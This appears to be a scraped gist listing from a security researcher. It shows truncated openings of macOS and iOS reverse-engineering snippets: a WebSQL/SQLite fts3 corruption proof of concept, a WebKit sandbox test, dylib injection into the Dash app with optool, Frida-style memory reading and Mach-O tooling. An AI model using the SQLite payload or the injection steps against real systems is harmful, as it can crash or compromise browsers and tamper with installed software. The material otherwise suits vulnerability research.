ChiChou

#import <Foundation/Foundation.h>
#include <sandbox.h>
int sandbox_init_with_parameters(const char* profile,
                                 uint64_t flags,
                                 const char* const parameters[],
                                 char** errorbuf);

#define SANDBOX_PROFILE "/System/Library/Frameworks/WebKit.framework/Versions/A/Resources/com.apple.WebProcess.sb"
#define SANDBOX_NAMED_EXTERNAL 0x0003

ChiChou

(() => {
  const trs = document.querySelector('table').querySelectorAll('tr')
  const rows = [].slice.call(trs, 3, trs.length - 1)
  const footer = trs[trs.length - 1]
  const sorted = rows.sort((a, b) => {
    const parse = tr => tr.querySelector('td:nth-of-type(2) a').textContent
      .match(/((\d+\.?)+)\.tar\.gz/)[1]
      .split('.')
      .map(s => parseInt(s, 10))

ChiChou

const poc = `CREATE VIRTUAL TABLE ft USING fts3;
INSERT INTO ft VALUES('aback');
INSERT INTO ft VALUES('abaft');
INSERT INTO ft VALUES('abandon');
UPDATE ft_segdir SET root = x'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';
SELECT * FROM ft WHERE ft MATCH 'abandon';`;

const name = 'db' + Math.random().toString().slice(2, 5);
const db = openDatabase(name, '1.0', 'xx', 1024 * 16);

ChiChou

#! /bin/bash
#
# build-xnu-4903.221.2.sh
# Initial script by Brandon Azad (https://gist.github.com/bazad/654959120a423b226dc564073b435453)
# Updated on 12/11/18 by matteyeux
# 
# A script showing how to build XNU version 4570.1.46 on MacOS High Sierra
# 10.13 with Xcode 9.
#
# Note: This process will OVERWRITE files in Xcode's MacOSX10.13.sdk. Make a

ChiChou

#include <errno.h>
#include <fcntl.h>              // open
#include <stdint.h>
#include <stdio.h>              // printf, fprintf, stderr
#include <stdlib.h>             // exit
#include <string.h>             // strerror, strncmp
#include <sys/mman.h>           // mmap
#include <sys/stat.h>           // fstat
#include <mach-o/loader.h>
#include <mach-o/nlist.h>

ChiChou

// clang -shared -undefined dynamic_lookup -o /Applications/Dash.app/Contents/MacOS/libDash.dylib Dash.m
// optool install -c load -p @executable_path/libDash.dylib -t /Applications/Dash.app/Contents/MacOS/Dash

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

static void pleasedontinvertwebview(/* we don't care about the args */) {
  NSLog(@"oops");
}

ChiChou

// to speed up, I removed all data validation

function MemoryBuffer(address, size) {
  this.base = address

  if (!size) {
    // const range = Process.findRangeByAddress(address)
    // if (!range)
    //   throw new Error('invalid address: ' + address)

ChiChou

LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)


LOCAL_MODULE := loader
LOCAL_MODULE_TAGS := optional
LOCAL_SRC_FILES := loader.c
LOCAL_CPPFLAGS := -std=gnu++0x -Wall
LOCAL_LDLIBS := -L$(SYSROOT)/usr/lib -llog -pie -fPIE

ChiChou

#!/usr/bin/env python3
import struct
import lief
from lief.MachO import LOAD_COMMAND_TYPES, HEADER_FLAGS


def check(filename):
  macho = lief.parse(filename)

  # check this?

ChiChou

#!/bin/bash
#
# NOTE: You need to `brew install gnu-sed` on Mac
# 
# by @codecolorist
# http://github.com/chichou
# 
# fix some compilation error of headers generated by class-dump
#
# usage: fixheader.sh DIRECTORY